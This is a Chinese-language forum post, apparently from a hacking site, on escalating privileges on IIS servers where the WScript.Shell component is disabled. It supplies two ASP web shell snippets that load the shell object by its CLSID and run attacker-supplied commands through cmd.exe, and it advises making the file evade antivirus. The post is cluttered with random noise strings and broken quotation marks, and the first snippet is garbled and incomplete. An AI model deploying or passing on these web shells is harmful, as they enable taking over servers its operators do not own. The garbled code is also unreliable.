没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  & N1 K6 T5 n0 b) X
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  
• 把下面代码复制：
  
• <%
  ' n/ t  u! l5 q9 e- H
• end if
  
• response.write(”")
  0 x& e8 x$ [" o: G8 A+ Y! ~
• On Error Resume
    E! {6 U3 W& I+ r$ K, G- s# K
• Next
  
• response.write oScriptlhn.exec(”cmd.exe /c” &
  
• request(”c”)).stdout.readall
  
• response.write(”")
  
• response.write(”")
  + {. C; d& i# c5 ^) O( A
• response.write(”
  : @; N- ?! w7 ^7 x
• “)
  
• response.write(”")
  
• %>
  
• 保存为一个asp文件，然后传到网站目录上去
  ; W  n; J- }4 t
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  # N$ D" B' Y4 T# ?4 p6 W
• 我用此成功运行过cacls命令。
  6 {" h% E1 k3 \$ C0 g: N" p
• 第二那就是运行时出错，可能限制某些代码执行
  
• 无wscript.shell组件提权又一个方法
  
• <object runat=server id=oScriptlhn scope=page
  
• 
  . p0 W- s% q. t6 K7 _- ]
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  # w9 V* U$ q0 Q' {
• <%if err then%>
  # d3 \; G( X% u& q& B/ ]
• <object runat=server id=oScriptlhn scope=page
  
• 
  
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  
• <%
  
• end if
  
• response.write(”<textarea readonly cols=80
  1 a& E4 K# T2 t9 J$ E- C$ p
• 
  
• rows=20>”)
  
• On Error Resume Next
  8 e. i: r) A8 s* E) A/ e% X2 J- N
• response.write
  
• 
  
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  ; E. c4 \+ U/ ]. m
• response.write(”</textarea>”)
  
• response.write(”<form
  
• 
  
• method=’post’>”)
  $ J$ W/ j8 d0 I; e4 X) `
• response.write(”<input type=text name=’c'
    N# g! _7 D, _- \( l
• 
  
• size=60><br>”)
  6 e" j9 B+ r3 X2 a
• response.write(”<input type=submit
  
• 
  
• value=’执行’></form>”)
  ' b, M) L: n; x$ N' t
• %>
  9 {6 A$ e( n' x1 P1 ^1 m
• 保存为ASP，此代码可能被杀，请注意免杀。
  
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  8 w3 l( |1 f4 P

复制代码